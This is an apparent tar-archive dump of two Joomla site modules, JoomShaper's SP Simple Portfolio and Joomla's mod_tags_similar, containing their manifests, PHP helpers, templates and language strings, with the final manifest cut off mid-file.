<extension type="module" version="3.9" client="site" method="upgrade">
	<name>SP Simple Portfolio Module</name>
	<author>JoomShaper</author>
	<creationDate>December 2014</creationDate>
	<copyright>Copyright (C) 2010 - 2021 JoomShaper. All rights reserved.</copyright>
	<license>GNU General Public License version 2 or later</license>
	<authorEmail>support@joomshaper.com</authorEmail>
	<authorUrl>www.joomshaper.com</authorUrl>
	<version>2.0</version>
	<description>Module to display latest item from SP Simple Portfolio</description>

	<updateservers>
		<server type="extension" priority="1" name="SP Simple Portfolio Module">http://www.joomshaper.com/updates/mod-sp-simple-portfolio.xml</server>
	</updateservers>

	<files>
		<filename module="mod_spsimpleportfolio">mod_spsimpleportfolio.php</filename>
		<filename>helper.php</filename>
		<folder>tmpl</folder>
		<folder>language</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB.mod_spsimpleportfolio.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field name="show_filter" type="radio" class="btn-group" default="1" label="MOD_SPSIMPLEPORTFOLIO_SHOW_FILTER_BUTTONS" description="MOD_SPSIMPLEPORTFOLIO_SHOW_FILTER_BUTTONS_DESC">
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
				<field name="category_id" type="category" extension="com_spsimpleportfolio" default="" label="MOD_SPSIMPLEPORTFOLIO_CATEGORY" description="MOD_SPSIMPLEPORTFOLIO_CATEGORY">
					<option value="">MOD_SPSIMPLEPORTFOLIO_CATEGORY_ALL</option>
				</field>
				<field name="layout_type" type="list" default="default" label="MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_TYPES" description="MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_TYPES_DESC">
					<option value="default">MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_DEFAULT</option>
					<option value="gallery_space">MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_GALLERY_SPACE</option>
					<option value="gallery_nospace">MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_GALLERY_NOSPACE</option>
				</field>
				<field name="columns" type="list" default="3" label="MOD_SPSIMPLEPORTFOLIO_FIELD_COLUMNS" description="MOD_SPSIMPLEPORTFOLIO_FIELD_COLUMNS_DESC">
					<option value="2">MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_COLUMNS_2</option>
					<option value="3">MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_COLUMNS_3</option>
					<option value="4">MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_COLUMNS_4</option>
				</field>
				<field name="thumbnail_type" type="list" default="masonry" label="MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_SIZE">
					<option value="masonry">MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_MASONRY</option>
					<option value="square">MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_SQUARE</option>
					<option value="rectangular">MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_RECTANGULAR</option>
					<option value="tower">MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_TOWER</option>
				</field>
				<field name="popup_image" type="list" default="default" label="MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE" description="MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_DESC">
					<option value="default">MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_DEFAULT</option>
					<option value="quare">MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_SQAURE</option>
					<option value="rectangle">MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_RECTANGLE</option>
					<option value="tower">MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_TOWER</option>
				</field>
				<field name="ordering" type="list" default="ordering:ASC" label="MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING" description="MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_DESC">
					<option value="ordering:ASC">MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_ORDER_ASCENDING</option>
					<option value="ordering:DESC">MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_ORDER_DESCENDING</option>
					<option value="title:ASC">MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_TITLE_ASCENDING</option>
					<option value="title:DESC">MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_TITLE_DESCENDING</option>
				</field>
				<field name="limit" type="number" default="12" label="MOD_SPSIMPLEPORTFOLIO_FIELD_LIMIT" description="MOD_SPSIMPLEPORTFOLIO_FIELD_LIMIT_DESC" />
			</fieldset>

			<fieldset name="advanced">
				<field name="layout" type="modulelayout" label="JFIELD_ALT_LAYOUT_LABEL" description="JFIELD_ALT_MODULE_LAYOUT_DESC" />
				<field name="moduleclass_sfx" type="textarea" rows="3" label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL" description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />
				<field name="cache" type="list" default="1" label="COM_MODULES_FIELD_CACHING_LABEL" description="COM_MODULES_FIELD_CACHING_DESC">
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>
				<field name="cache_time" type="text" default="900" label="COM_MODULES_FIELD_CACHE_TIME_LABEL" description="COM_MODULES_FIELD_CACHE_TIME_DESC" />
			</fieldset>
		</fields>
	</config>
</extension>
mod_spsimpleportfolio/mod_spsimpleportfolio.php000060400000003572150746134720016353 0ustar00<?php
/**
 * @package     SP Simple Portfolio
 * @subpackage  mod_spsimpleportfolio
 *
 * @copyright   Copyright (C) 2010 - 2021 JoomShaper. All rights reserved.
 * @license     GNU General Public License version 2 or later.
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Helper\ModuleHelper;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;

require_once __DIR__ . '/helper.php';

HTMLHelper::_('jquery.framework');
BaseDatabaseModel::addIncludePath(JPATH_SITE . '/components/com_spsimpleportfolio/models');
require_once JPATH_BASE . '/components/com_spsimpleportfolio/helpers/helper.php';

$doc = Factory::getDocument();
$doc->addStylesheet( Uri::root(true) . '/components/com_spsimpleportfolio/assets/css/featherlight.min.css' );
$doc->addStylesheet( Uri::root(true) . '/components/com_spsimpleportfolio/assets/css/spsimpleportfolio.css' );
$doc->addScript( Uri::root(true) . '/components/com_spsimpleportfolio/assets/js/jquery.shuffle.modernizr.min.js' );
$doc->addScript( Uri::root(true) . '/components/com_spsimpleportfolio/assets/js/featherlight.min.js' );
$doc->addScript( Uri::root(true) . '/components/com_spsimpleportfolio/assets/js/spsimpleportfolio.js' );

$cParams      = ComponentHelper::getParams('com_spsimpleportfolio');

if($cParams) {
    $params->merge($cParams);
}

$items = ModSpsimpleportfolioHelper::getItems($params);
foreach ($items as $item) {
    // if thumb uploaded for listing
    $item->thumb = ( isset($item->thumbnail) && $item->thumbnail ) ? $item->thumbnail : $item->thumb;
}
$model = BaseDatabaseModel::getInstance('Items', 'SpsimpleportfolioModel');
$tagList = $model->getTagList($items);

$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx'));

require ModuleHelper::getLayoutPath('mod_spsimpleportfolio', $params->get('layout', 'default'));
mod_spsimpleportfolio/helper.php000060400000012363150746134720013177 0ustar00<?php
/**
 * @package     SP Simple Portfolio
 * @subpackage  mod_spsimpleportfolio
 *
 * @copyright   Copyright (C) 2010 - 2021 JoomShaper. All rights reserved.
 * @license     GNU General Public License version 2 or later.
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Filesystem\File;
use Joomla\Utilities\ArrayHelper;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;


BaseDatabaseModel::addIncludePath(JPATH_SITE . '/components/com_spsimpleportfolio/models', 'SpsimpleportfolioModel');

JLoader::register('SpsimpleportfolioHelper', JPATH_SITE . '/components/com_spsimpleportfolio/helpers/helper.php');

class ModSpsimpleportfolioHelper {

	public static function getItems($params) {

		$model = BaseDatabaseModel::getInstance('Items', 'SpsimpleportfolioModel', array('ignore_request' => true));

		$db = Factory::getDbo();
		$query = $db->getQuery(true);

		$query->select('a.*, a.id AS spsimpleportfolio_item_id , a.tagids AS spsimpleportfolio_tag_id, a.created AS created_on')
		->from($db->quoteName('#__spsimpleportfolio_items', 'a'))
		->where($db->quoteName('a.published') . ' = 1');
		
		// Filter by a single or group of categories
		if ($params->get('category_id') != '') {
			$categoryId = $params->get('category_id');
			if (is_numeric($categoryId) && $categoryId > 0)
			{
				// Add subcategory check
				$categoryEquals       = 'a.catid =' . (int) $categoryId;

				// Create a subquery for the subcategory list
				$subQuery = $db->getQuery(true)
					->select('sub.id')
					->from('#__categories as sub')
					->join('INNER', '#__categories as this ON sub.lft > this.lft AND sub.rgt < this.rgt')
					->where('this.id = ' . (int) $categoryId);

				// Add the subquery to the main query
				$query->where('(' . $categoryEquals . ' OR a.catid IN (' . (string) $subQuery . '))');
			}
			elseif (is_array($categoryId) && (count($categoryId) > 0))
			{
				$categoryId = ArrayHelper::toInteger($categoryId);
				$categoryId = implode(',', $categoryId);

				if (!empty($categoryId))
				{
					$query->where('a.catid IN (' . $categoryId . ')');
				}
			}
		}

		// ordering
		$ordering = $params->get('ordering', 'ordering:ASC');
		list($order, $direction) = explode(':', $ordering);
		
		$query->where($db->quoteName('a.access')." IN (" . implode( ',', Factory::getUser()->getAuthorisedViewLevels() ) . ")")
			->order($db->quoteName('a.' . $order) . ' ' . $direction)
			->setLimit($params->get('limit', 6));

		$db->setQuery($query);

		$items = $db->loadObjectList();

		$i = 0;
		foreach ($items as $key => & $item) {
			$tags = $model->getItemTags($item->tagids);
			$newtags = array();
			$filter = '';
			$groups = array();

			foreach ($tags as $tag) {
				$newtags[] = $tag->title;
				$filter .= ' ' . $tag->alias;
				$groups[] .= '"' . $tag->alias . '"';
			}

			$item->groups = implode(',', $groups);
			$item->tags = $newtags;

			// Sizes
			$square 	= strtolower($params->get('square', '600x600'));
			$tower 		= strtolower($params->get('tower', '600X800'));
			$rectangle 	= strtolower($params->get('rectangle', '600x400'));
			$tower 		= strtolower($params->get('tower', '600x800'));
			$sizes 		= array(
				$rectangle,
				$tower,
				$square,
				$tower,
				$rectangle,
				$square,
				$square,
				$rectangle,
				$tower,
				$square,
				$tower,
				$rectangle
			);

			$thumb_type = $params->get('thumbnail_type', 'masonry');	
			if($thumb_type == 'masonry') {
				$item->thumb = Uri::base(true) . '/images/spsimpleportfolio/' . $item->alias . '/' . File::stripExt(basename($item->image)) . '_' . $sizes[$i] . '.' . File::getExt($item->image);
			} else if($thumb_type == 'rectangular') {
				$item->thumb = Uri::base(true) . '/images/spsimpleportfolio/' . $item->alias . '/' . File::stripExt(basename($item->image)) . '_'. $rectangle .'.' . File::getExt($item->image);
			} else if($thumb_type == 'tower') {
				$item->thumb = Uri::base(true) . '/images/spsimpleportfolio/' . $item->alias . '/' . File::stripExt(basename($item->image)) . '_'. $tower .'.' . File::getExt($item->image);
			} else {
				$item->thumb = Uri::base(true) . '/images/spsimpleportfolio/' . $item->alias . '/' . File::stripExt(basename($item->image)) . '_'. $square .'.' . File::getExt($item->image);
			}

			// tower

			$popup_image = $params->get('popup_image', 'default');
			
			if($popup_image == 'quare') {
				$item->popup_img_url = Uri::base(true) . '/images/spsimpleportfolio/' . $item->alias . '/' . File::stripExt(basename($item->image)) . '_'. $square .'.' . File::getExt($item->image);
			} else if($popup_image == 'rectangle') {
				$item->popup_img_url = Uri::base(true) . '/images/spsimpleportfolio/' . $item->alias . '/' . File::stripExt(basename($item->image)) . '_'. $rectangle .'.' . File::getExt($item->image);
			} else if($popup_image == 'tower') {
				$item->popup_img_url = Uri::base(true) . '/images/spsimpleportfolio/' . $item->alias . '/' . File::stripExt(basename($item->image)) . '_'. $tower .'.' . File::getExt($item->image);
			} else {
				$item->popup_img_url = Uri::base() . $item->image;
			}

			$item->url = Route::_('index.php?option=com_spsimpleportfolio&view=item&id='. $item->id . ':' . $item->alias . SpsimpleportfolioHelper::getItemid($item->catid));

			$i++;
			if($i==11) {
				$i = 0;
			}
		}

		return $items;
	}
}mod_spsimpleportfolio/language/en-GB.mod_spsimpleportfolio.ini000060400000004753150746134720021017 0ustar00#Admin#
MOD_SP_SIMPLEPORTFOLIO="SP SIMPLE PORTFOLIO"
MOD_SPSIMPLEPORTFOLIO_FIELD_LIMIT="Number of Items"
MOD_SPSIMPLEPORTFOLIO_FIELD_LIMIT_DESC="Please enter the number of items to display per page."
MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_TYPES="Layout Settings"
MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_TYPES_DESC="Select a layout from the list."
MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_DEFAULT="Default"
MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_GALLERY_SPACE="Gallery style with space"
MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_GALLERY_NOSPACE="Gallery style without space"

MOD_SPSIMPLEPORTFOLIO_FIELD_COLUMNS="Columns"
MOD_SPSIMPLEPORTFOLIO_FIELD_COLUMNS_DESC="Select number of columns per row."
MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_COLUMNS_2="2 Columns"
MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_COLUMNS_3="3 Columns"
MOD_SPSIMPLEPORTFOLIO_FIELD_LAYOUT_COLUMNS_4="4 Columns"

MOD_SPSIMPLEPORTFOLIO_SHOW_FILTER_BUTTONS="Show Filters"
MOD_SPSIMPLEPORTFOLIO_SHOW_FILTER_BUTTONS_DESC="Enable to show filter buttons"

MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_SIZE="Thumbnail Size"
MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_SIZE_DESC="Select a thumbnail size which will show in the item list."
MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_MASONRY="Masonry"
MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_SQUARE="Square"
MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_RECTANGULAR="Rectangular"
MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_TOWER="Tower"

MOD_SPSIMPLEPORTFOLIO_THUMBNAIL_TYPE="Thumbnail Type"
MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE="Popup Size"
MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_DESC="Select a popup image size from the list (select default for your default uploaded image)."
MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_DEFAULT="Default"
MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_SQAURE="Squre"
MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_RECTANGLE="Rectangle"
MOD_SPSIMPLEPORTFOLIO_FIELD_POPUP_IMAGE_TOWER="Tower"

MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING="Ordering"
MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_DESC="Select a order type from the list"
MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_ORDER_ASCENDING="Order Ascending"
MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_TITLE_ASCENDING="Title Ascending"
MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_ORDER_DESCENDING="Order Descending"
MOD_SPSIMPLEPORTFOLIO_FIELD_ORDERING_TITLE_DESCENDING="Title Descending"

#Frontend#
MOD_SPSIMPLEPORTFOLIO_SHOW_ALL="Show All"
MOD_SPSIMPLEPORTFOLIO_ZOOM="Zoom"
MOD_SPSIMPLEPORTFOLIO_WATCH="Watch"
MOD_SPSIMPLEPORTFOLIO_VIEW="View"

#category#
MOD_SPSIMPLEPORTFOLIO_CATEGORY="Select a category"
MOD_SPSIMPLEPORTFOLIO_CATEGORY_DESC=""
MOD_SPSIMPLEPORTFOLIO_CATEGORY_ALL="All Categories"mod_spsimpleportfolio/tmpl/default.php000060400000007457150746134720014330 0ustar00<?php
/**
 * @package     SP Simple Portfolio
 * @subpackage  mod_spsimpleportfolio
 *
 * @copyright   Copyright (C) 2010 - 2021 JoomShaper. All rights reserved.
 * @license     GNU General Public License version 2 or later.
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

$layout_type = $params->get('layout_type', 'default');
?>
<div id="mod-sp-simpleportfolio" class="sp-simpleportfolio sp-simpleportfolio-view-items layout-<?php echo str_replace('_', '-', $layout_type); ?> <?php echo $moduleclass_sfx; ?>">
	
	<?php if($params->get('show_filter', 1)) : ?>
		<div class="sp-simpleportfolio-filter">
			<ul>
				<li class="active" data-group="all"><a href="#"><?php echo Text::_('MOD_SPSIMPLEPORTFOLIO_SHOW_ALL'); ?></a></li>
				<?php foreach ($tagList as $filter) : ?>
				<li data-group="<?php echo $filter->alias; ?>"><a href="#"><?php echo $filter->title; ?></a></li>
				<?php endforeach; ?>
			</ul>
		</div>
	<?php endif; ?>

	<?php
		//Videos
		foreach ($items as $item) {
			if($item->video) {
				$video = parse_url($item->video);

				switch($video['host']) {
					case 'youtu.be':
					$video_id 	= trim($video['path'],'/');
					$video_src 	= '//www.youtube.com/embed/' . $video_id;
					break;

					case 'www.youtube.com':
					case 'youtube.com':
					parse_str($video['query'], $query);
					$video_id 	= $query['v'];
					$video_src 	= '//www.youtube.com/embed/' . $video_id;
					break;

					case 'vimeo.com':
					case 'www.vimeo.com':
					$video_id 	= trim($video['path'],'/');
					$video_src 	= "//player.vimeo.com/video/" . $video_id;
				}
				echo '<iframe class="sp-simpleportfolio-lightbox" src="'. $video_src .'" width="500" height="281" id="sp-simpleportfolio-video'.$item->spsimpleportfolio_item_id.'" style="border:none;" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>';
			}
		}
	?>

	<div class="sp-simpleportfolio-items sp-simpleportfolio-columns-<?php echo $params->get('columns', 3); ?>">
		<?php foreach ($items as $item) : ?>
			<div class="sp-simpleportfolio-item" data-groups='[<?php echo $item->groups; ?>]'>
				<div class="sp-simpleportfolio-overlay-wrapper clearfix">
					<?php if($item->video) : ?>
						<span class="sp-simpleportfolio-icon-video"></span>
					<?php endif; ?>

					<img class="sp-simpleportfolio-img" src="<?php echo $item->thumb; ?>" alt="<?php echo $item->title; ?>">

					<div class="sp-simpleportfolio-overlay">
						<div class="sp-vertical-middle">
							<div>
								<div class="sp-simpleportfolio-btns">
									<?php if( $item->video ) : ?>
										<a class="btn-zoom" href="#" data-featherlight="#sp-simpleportfolio-video<?php echo $item->id; ?>"><?php echo Text::_('MOD_SPSIMPLEPORTFOLIO_WATCH'); ?></a>
									<?php else: ?>
										<a class="btn-zoom" href="<?php echo $item->popup_img_url; ?>" data-featherlight="image"><?php echo Text::_('MOD_SPSIMPLEPORTFOLIO_ZOOM'); ?></a>
									<?php endif; ?>
									<a class="btn-view" href="<?php echo $item->url; ?>"><?php echo Text::_('MOD_SPSIMPLEPORTFOLIO_VIEW'); ?></a>
								</div>

								<?php if($layout_type!='default') : ?>
									<h3 class="sp-simpleportfolio-title">
										<a href="<?php echo $item->url; ?>">
											<?php echo $item->title; ?>
										</a>
									</h3>
									<div class="sp-simpleportfolio-tags">
										<?php echo implode(', ', $item->tags); ?>
									</div>
								<?php endif; ?>
							</div>
						</div>
					</div>
				</div>

				<?php if($layout_type=='default') : ?>
					<div class="sp-simpleportfolio-info">
						<h3 class="sp-simpleportfolio-title">
							<a href="<?php echo $item->url; ?>">
								<?php echo $item->title; ?>
							</a>
						</h3>
						<div class="sp-simpleportfolio-tags">
							<?php echo implode(', ', $item->tags); ?>
						</div>
					</div>
				<?php endif; ?>
			</div>
		<?php endforeach; ?>
	</div>
</div>mod_tags_similar/src/Helper/TagsSimilarHelper.php000060400000013704150746134720016171 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_tags_similar
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\TagsSimilar\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Helper\ContentHelper;
use Joomla\CMS\Helper\TagsHelper;
use Joomla\CMS\Language\Text;
use Joomla\Component\Tags\Site\Helper\RouteHelper;
use Joomla\Database\ParameterType;
use Joomla\Registry\Registry;

/**
 * Helper for mod_tags_similar
 *
 * @since  3.1
 */
abstract class TagsSimilarHelper
{
	/**
	 * Get a list of tags
	 *
	 * @param   Registry  &$params  Module parameters
	 *
	 * @return  array
	 */
	public static function getList(&$params)
	{
		$app    = Factory::getApplication();
		$option = $app->input->get('option');
		$view   = $app->input->get('view');

		// For now assume com_tags and com_users do not have tags.
		// This module does not apply to list views in general at this point.
		if ($option === 'com_tags' || $view === 'category' || $option === 'com_users')
		{
			return array();
		}

		$db         = Factory::getDbo();
		$user       = Factory::getUser();
		$groups     = $user->getAuthorisedViewLevels();
		$matchtype  = $params->get('matchtype', 'all');
		$ordering   = $params->get('ordering', 'count');
		$tagsHelper = new TagsHelper;
		$prefix     = $option . '.' . $view;
		$id         = $app->input->getInt('id');
		$now        = Factory::getDate()->toSql();
		$nullDate   = $db->getNullDate();

		// This returns a comma separated string of IDs.
		$tagsToMatch = $tagsHelper->getTagIds($id, $prefix);

		if (!$tagsToMatch)
		{
			return array();
		}

		$tagsToMatch = explode(',', $tagsToMatch);
		$tagCount    = \count($tagsToMatch);

		$query = $db->getQuery(true);
		$query
			->select(
				[
					$db->quoteName('m.core_content_id'),
					$db->quoteName('m.content_item_id'),
					$db->quoteName('m.type_alias'),
					'COUNT( ' . $db->quoteName('tag_id') . ') AS ' . $db->quoteName('count'),
					$db->quoteName('ct.router'),
					$db->quoteName('cc.core_title'),
					$db->quoteName('cc.core_alias'),
					$db->quoteName('cc.core_catid'),
					$db->quoteName('cc.core_language'),
					$db->quoteName('cc.core_params'),
				]
			)
			->from($db->quoteName('#__contentitem_tag_map', 'm'))
			->join(
				'INNER',
				$db->quoteName('#__tags', 't'),
				$db->quoteName('m.tag_id') . ' = ' . $db->quoteName('t.id')
			)
			->join(
				'INNER',
				$db->quoteName('#__ucm_content', 'cc'),
				$db->quoteName('m.core_content_id') . ' = ' . $db->quoteName('cc.core_content_id')
			)
			->join(
				'INNER',
				$db->quoteName('#__content_types', 'ct'),
				$db->quoteName('m.type_alias') . ' = ' . $db->quoteName('ct.type_alias')
			)
			->whereIn($db->quoteName('m.tag_id'), $tagsToMatch)
			->whereIn($db->quoteName('t.access'), $groups)
			->where($db->quoteName('cc.core_state') . ' = 1')
			->extendWhere(
				'AND',
				[
					$db->quoteName('cc.core_access') . ' IN (' . implode(',', $query->bindArray($groups)) . ')',
					$db->quoteName('cc.core_access') . ' = 0',
				],
				'OR'
			)
			->extendWhere(
				'AND',
				[
					$db->quoteName('m.content_item_id') . ' <> :currentId',
					$db->quoteName('m.type_alias') . ' <> :prefix',
				],
				'OR'
			)
			->bind(':currentId', $id, ParameterType::INTEGER)
			->bind(':prefix', $prefix)
			->extendWhere(
				'AND',
				[
					$db->quoteName('cc.core_publish_up') . ' IS NULL',
					$db->quoteName('cc.core_publish_up') . ' = :nullDateUp',
					$db->quoteName('cc.core_publish_up') . ' <= :nowDateUp',
				],
				'OR'
			)
			->bind(':nullDateUp', $nullDate)
			->bind(':nowDateUp', $now)
			->extendWhere(
				'AND',
				[
					$db->quoteName('cc.core_publish_down') . ' IS NULL',
					$db->quoteName('cc.core_publish_down') . ' = :nullDateDown',
					$db->quoteName('cc.core_publish_down') . ' >= :nowDateDown',
				],
				'OR'
			)
			->bind(':nullDateDown', $nullDate)
			->bind(':nowDateDown', $now);

		// Optionally filter on language
		$language = ComponentHelper::getParams('com_tags')->get('tag_list_language_filter', 'all');

		if ($language !== 'all')
		{
			if ($language === 'current_language')
			{
				$language = ContentHelper::getCurrentLanguage();
			}

			$query->whereIn($db->quoteName('cc.core_language'), [$language, '*'], ParameterType::STRING);
		}

		$query->group(
			[
				$db->quoteName('m.core_content_id'),
				$db->quoteName('m.content_item_id'),
				$db->quoteName('m.type_alias'),
				$db->quoteName('ct.router'),
				$db->quoteName('cc.core_title'),
				$db->quoteName('cc.core_alias'),
				$db->quoteName('cc.core_catid'),
				$db->quoteName('cc.core_language'),
				$db->quoteName('cc.core_params'),
			]
		);

		if ($matchtype === 'all' && $tagCount > 0)
		{
			$query->having('COUNT( ' . $db->quoteName('tag_id') . ')  = :tagCount')
				->bind(':tagCount', $tagCount, ParameterType::INTEGER);
		}
		elseif ($matchtype === 'half' && $tagCount > 0)
		{
			$tagCountHalf = ceil($tagCount / 2);
			$query->having('COUNT( ' . $db->quoteName('tag_id') . ')  >= :tagCount')
				->bind(':tagCount', $tagCountHalf, ParameterType::INTEGER);
		}

		if ($ordering === 'count' || $ordering === 'countrandom')
		{
			$query->order($db->quoteName('count') . ' DESC');
		}

		if ($ordering === 'random' || $ordering === 'countrandom')
		{
			$query->order($query->rand());
		}

		$query->setLimit((int) $params->get('maximum', 5));
		$db->setQuery($query);

		try
		{
			$results = $db->loadObjectList();
		}
		catch (\RuntimeException $e)
		{
			$results = [];
			$app->enqueueMessage(Text::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');
		}

		foreach ($results as $result)
		{
			$result->link = RouteHelper::getItemRoute(
				$result->content_item_id,
				$result->core_alias,
				$result->core_catid,
				$result->core_language,
				$result->type_alias,
				$result->router
			);

			$result->core_params = new Registry($result->core_params);
		}

		return $results;
	}
}
mod_tags_similar/mod_tags_similar.php000064400000001634150746134720014124 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_tags_similar
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the tags_similar functions only once
JLoader::register('ModTagssimilarHelper', __DIR__ . '/helper.php');

$cacheparams = new stdClass;
$cacheparams->cachemode = 'safeuri';
$cacheparams->class = 'ModTagssimilarHelper';
$cacheparams->method = 'getList';
$cacheparams->methodparams = $params;
$cacheparams->modeparams = array('id' => 'array', 'Itemid' => 'int');

$list = JModuleHelper::moduleCache($module, $params, $cacheparams);

if (!count($list))
{
	return;
}

$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_COMPAT, 'UTF-8');

require JModuleHelper::getLayoutPath('mod_tags_similar', $params->get('layout', 'default'));
mod_tags_similar/mod_tags_similar.xml000064400000005663150746134720014143 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_tags_similar</name>
	<author>Joomla! Project</author>
	<creationDate>January 2013</creationDate>
	<copyright>(C) 2013 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.1.0</version>
	<description>MOD_TAGS_SIMILAR_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_tags_similar">mod_tags_similar.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_tags_similar.ini</language>
		<language tag="en-GB">en-GB.mod_tags_similar.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_TAGS_SIMILAR" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="maximum"
					type="integer"
					label="MOD_TAGS_SIMILAR_MAX_LABEL"
					description="MOD_TAGS_SIMILAR_MAX_DESC"
					default="5"
					filter="integer"
					first="1"
					last="20"
					step="1"
				/>

				<field
					name="matchtype"
					type="list"
					label="MOD_TAGS_SIMILAR_FIELD_MATCHTYPE_LABEL"
					description="MOD_TAGS_SIMILAR_FIELD_MATCHTYPE_DESC"
					default="any"
					>
					<option value="all">MOD_TAGS_SIMILAR_FIELD_ALL</option>
					<option value="any">MOD_TAGS_SIMILAR_FIELD_ONE</option>
					<option value="half">MOD_TAGS_SIMILAR_FIELD_HALF</option>
				</field>

				<field
					name="ordering"
					type="list"
					label="MOD_TAGS_SIMILAR_FIELD_ORDERING_LABEL"
					description="MOD_TAGS_SIMILAR_FIELD_ORDERING_DESC"
					default="count"
					>
					<option value="count">MOD_TAGS_SIMILAR_FIELD_ORDERING_COUNT</option>
					<option value="random">MOD_TAGS_SIMILAR_FIELD_ORDERING_RANDOM</option>
					<option value="countrandom">MOD_TAGS_SIMILAR_FIELD_ORDERING_COUNT_AND_RANDOM</option>
				</field>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
				/>

				<field
					name="owncache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC"
					default="900"
					filter="integer"
